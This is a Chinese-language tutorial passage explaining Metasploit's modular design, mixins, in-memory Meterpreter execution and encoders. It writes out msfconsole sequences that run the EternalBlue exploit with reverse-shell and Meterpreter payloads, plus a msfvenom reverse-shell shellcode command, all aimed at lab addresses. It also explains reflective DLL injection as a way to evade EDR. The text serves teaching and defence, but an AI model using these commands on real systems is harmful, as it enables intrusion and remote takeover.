本节摘要:SOURCE 1.2:抽象化与标准化——攻击拆解为侦察、利用、载荷、通道;模块可互换组合,如 SMB exploit + reverse_tcp Meterpreter。
Metasploit 的立身之本,是把"如何获取权限"与"获取权限后做什么"彻底分离。下面用一个隔离环境实验演示:同一个 exploit,只改一行 payload 设置,拿到的东西完全不同。
# 场景 A:反弹一个 Meterpreter 会话(分阶段) msfconsole -q use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.56.10 set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.56.1 set LPORT 4444 run # 场景 B:同样是 eternalblue,只换 payload——只拿一个普通 shell use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.56.10 set payload windows/x64/shell/reverse_tcp set LHOST 192.168.56.1 run
换 payload windows/shell/reverse_tcp 即得普通 shell——体现 SOURCE「搭积木」组合思想。Exploit 负责"破门",Payload 负责"进门后做什么",两者互不干扰。这也是为什么框架维护者修复一个底层 TCP mixin,成百上千个模块会同时受益。
| 组件 | 职责 |
|---|---|
| Exploit | 触发漏洞 |
| Payload | 达成效果(shell/meterpreter) |
| Auxiliary | 扫描嗅探 |
| Post | 提权、抓 hash |
解耦带来三件事:一是模块可独立演进,二是攻击链可任意组合,三是蓝队可以用同一套模块预测攻击步骤。理解这一点,是后续所有操作的前提。
如果说模块化解决了"做什么"的分离,Mixins 则解决了"怎么做"的复用。Ruby 用 mixin 替代多重继承,Metasploit 借此把网络能力打包成可插拔模块。一个针对 SMB 的 exploit,同时需要 TCP 通信、暴力破解、规避等能力——用继承会撑爆类层级,用 mixin 则只需声明:
# 简化示意:mix-in 让模块瞬间拥有完整 TCP 能力 class Ms17010 < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp # 提供 connect()、超时、状态管理 include Msf::Exploit::Remote::SMB # 提供 SMB 协议封装 def exploit connect # mixin 提供的方法,无需自己写 socket 逻辑 # ... 漏洞触发逻辑 end end
开发者只需写一行 include Msf::Exploit::Remote::Tcp,就获得经过实战检验的连接逻辑:异常处理、超时重传、状态管理全被封装。当框架核心优化了 TCP 协议栈(如支持 IPv6、异步 I/O),所有引用该 mixin 的模块自动升级。
现代 EDR/NGAV 对"写盘再执行"的旧模式高度敏感。Metasploit 的核心哲学之一是内存执行——把代码直接加载到目标进程内存中,不落地磁盘。旗舰 payload Meterpreter 是这一哲学的集大成者:它通过反射式 DLL 注入驻留在目标进程中,加载器在内存中手动解析 PE 结构、修复重定位表与导入表,完全绕开系统加载器与文件系统监控。
# 现象对比:shell 与 meterpreter 的进程差异(实验观察项) # 普通 shell payload → 目标上出现 cmd.exe 子进程(易被盯上) # meterpreter → 注入已存在进程,无新文件、无新进程名 sessions -i 1 getpid # 显示当前 Meterpreter 所在进程 PID ps | grep svchost # 观察是否驻留在系统进程中
TARGET、RHOST 参数化环境差异,把脑力留给漏洞逻辑
⚠️ 常见坑:只记 exploit 名不读
info里的 Supported targets——版本错一位即失败。选模块前先show targets确认目标 OS/架构是否在支持列表内。
💡 关键直觉:哲学是减少环境适配,把脑力留给漏洞逻辑。你在控制台里
set RHOSTS、set payload、includemixin,本质上都是在"搭积木"。
抽象化不是一句口号,它体现在三个可观察的层面:
RHOST、TARGET、platform 把"目标长什么样"参数化,模块不关心具体 IP 与补丁细节# 观察抽象:同一个参数体系贯穿不同模块 msf6 > use auxiliary/scanner/smb/smb_version msf6 auxiliary(scanner/smb/smb_version) > show options # Name Current Setting Required Description # RHOSTS yes 目标地址(单 IP 或网段) # RPORT 445 yes 目标端口 # THREADS 1 yes 并发线程数 msf6 > use exploit/windows/smb/ms17_010_eternalblue msf6 exploit(windows/smb/ms17_010_eternalblue) > show options # Name Current Setting Required Description # RHOSTS yes 目标地址 # RPORT 445 yes 目标端口 # SMBDomain no 域名(留空则本机)
注意 RHOSTS、RPORT 在两类模块中的一致性——这就是抽象层提供的统一词汇表。
很多协议对特定字节敏感:C 字符串遇 0x00 截断、某些应用把 0x0A 当命令结束。如果 shellcode 里混入坏字符,攻击当场失败。这正是 Encoder 存在的意义,也是"数据驱动哲学"在字节层面的体现:
# 生成时显式声明坏字符(示例) msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.56.1 LPORT=4444 \ -b "\x00\x0a\x0d" -f c # -b 声明禁止出现的字节;编码器会变换载荷避开这些字节
标准化让攻击可组合、可预测,也让防御者可以反推检测规则。现代 EDR 正是基于对 MSF 行为的理解来建模:监控 VirtualAlloc 后紧跟执行权限变更、监控无文件模块、监控异常 LSASS 访问。理解哲学不是为了绕过,而是为了在同一语言体系下对话——这比只会敲命令重要得多。